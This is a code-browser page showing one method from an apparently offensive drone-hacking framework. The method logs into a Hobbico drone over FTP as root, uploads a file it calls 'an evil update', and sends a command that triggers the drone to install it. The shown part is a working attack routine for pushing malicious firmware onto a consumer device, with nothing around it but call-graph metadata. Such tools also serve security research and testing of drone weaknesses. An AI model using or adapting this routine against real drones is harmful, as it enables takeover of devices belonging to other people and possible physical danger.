MCPcopy
hub / github.com/dronesploit/dronesploit / send_update

Method send_update

dronesploit/drones/hobbico.py:96–108  ·  view source on GitHub ↗
(self, filename=None)

Source from the content-addressed store, hash-verified

94
95 @ftp("SYST", "PWD", "TYPE I", "CWD /", "PASV", username="root", password="*")
96 def send_update(self, filename=None):
97 self.logger.info("Pushing an evil update...")
98 with open(self.config.get("UPDATE_FILE"), 'rb') as f:
99 self._ftp.storbinary("STOR 0.7.15.zip", f)
100 self.logger.info("Triggering update...")
101 success = s.send_command(71, '"0.7.15"')
102 if success:
103 delay = 10
104 self.logger.info("Waiting {} seconds...".format(delay))
105 time.sleep(delay)
106 self.logger.success("Target updated")
107 self.logger.info("Please restart the drone")
108 return success
109
110
111class FlittModule(HobbicoModule):

Callers 2

runMethod · 0.80
runMethod · 0.80

Calls 1

send_commandMethod · 0.80

Tested by

no test coverage detected